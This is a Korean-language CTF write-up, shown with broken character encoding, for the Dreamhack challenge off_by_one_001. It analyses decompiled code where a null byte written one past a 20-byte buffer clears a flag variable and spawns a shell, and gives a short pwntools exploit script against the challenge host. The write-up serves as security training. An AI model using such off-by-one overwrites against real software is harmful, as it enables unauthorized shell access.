์ƒ์„ธ ์ปจํ…์ธ 

๋ณธ๋ฌธ ์ œ๋ชฉ

[Dreamhack] off_by_one_001

SYSTEM HACKING/Dreamhack

by koharin 2024. 2. 19. 16:15

๋ณธ๋ฌธ

728x90
๋ฐ˜์‘ํ˜•

๐Ÿ”  ์ฝ”๋“œ ๋ถ„์„

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[20]; // [esp+0h] [ebp-18h] BYREF
  int v5; // [esp+14h] [ebp-4h]

  v5 = 1;
  initialize();
  printf("Name: ");
  read_str(v4, 20);
  printf("Are you baby?");
  if ( v5 )
  {
    puts("Ok, chance: ");
    read(0, v4, 20);
  }
  else
  {
    get_shell();
  }
  return 0;
}

|v4(0x18)|v5(0x4)|SFP|RET|

v5์ด 0์ด๋ฉด get_shell ํ•จ์ˆ˜ ์‹คํ–‰๋˜์–ด์„œ ์‰˜ ์–ป์„ ์ˆ˜ ์žˆ์Œ.

๊ทผ๋ฐ v5=1๋กœ ์„ค์ •๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๊ฑธ ์กฐ์ž‘ํ•ด์•ผ ํ•จ

int __cdecl read_str(int a1, int a2)
{
  int result; // eax
  int v3; // [esp+0h] [ebp-4h]

  v3 = read(0, a1, a2);
  printf("%d", v3);
  result = v3 + a1;
  *(_BYTE *)(v3 + a1) = 0;
  return result;
}

 

v3 = read(0, v4, 20) โ‡’ read() ํ•จ์ˆ˜๋Š” ์„ฑ๊ณต ์‹œ ์ˆ˜์‹ ํ•œ ๋ฐ”์ดํŠธ์ˆ˜(20), ์‹คํŒจ ์‹œ -1

|result(0x4)|v3(0x4)|SFP|RET|

result = v3 + a1; (v4์ฃผ์†Œ+20) โ‡’ mainํ•จ์ˆ˜์—์„œ v5 ๋ณ€์ˆ˜ ์œ„์น˜์ด๋‹ค.

*(BYTE *)(v3 + a1) = 0; โ‡’ v5 ์œ„์น˜์— 0 ๋„ฃ์Œ โ‡’ ์ดํ›„ if(v5)์—์„œ v5๊ฐ€ 0์ด ๋˜์–ด ์‰˜ ์–ป์„ ์ˆ˜ ์žˆ์Œ

๋”ฐ๋ผ์„œ ๋ณ„๋‹ค๋ฅธ ์กฐ์ž‘ ์—†์ด ์ฒ˜์Œ ์ž…๋ ฅ ์‹œ 20๋ฐ”์ดํŠธ ์ž…๋ ฅํ•˜๋ฉด v5 ๊ฐ’์ด 0์œผ๋กœ ์„ค์ •๋˜์–ด ์‰˜ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

์‰˜ ์‹คํ–‰ํ•˜๊ณ  cat flag๋กœ ํ”Œ๋ž˜๊ทธ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

 

๐Ÿ“ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ

#!/usr/bin/python3
from pwn import *

p = remote('host3.dreamhack.games', 23831)

payload = 'A'*(0x18-0x4)

p.sendafter(b'Name: ', payload)

p.interactive()

728x90
๋ฐ˜์‘ํ˜•

'SYSTEM HACKING > Dreamhack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Return to Shellcode  (0) 2024.03.03
[Dreamhack] Return Address Overwrite  (0) 2024.03.01
[Dreamhack] bof  (0) 2024.02.16
[Dreamhack] pwn-library  (0) 2024.01.10
[Dreamhack] shell-basic  (2) 2024.01.10

๊ด€๋ จ๊ธ€ ๋”๋ณด๊ธฐ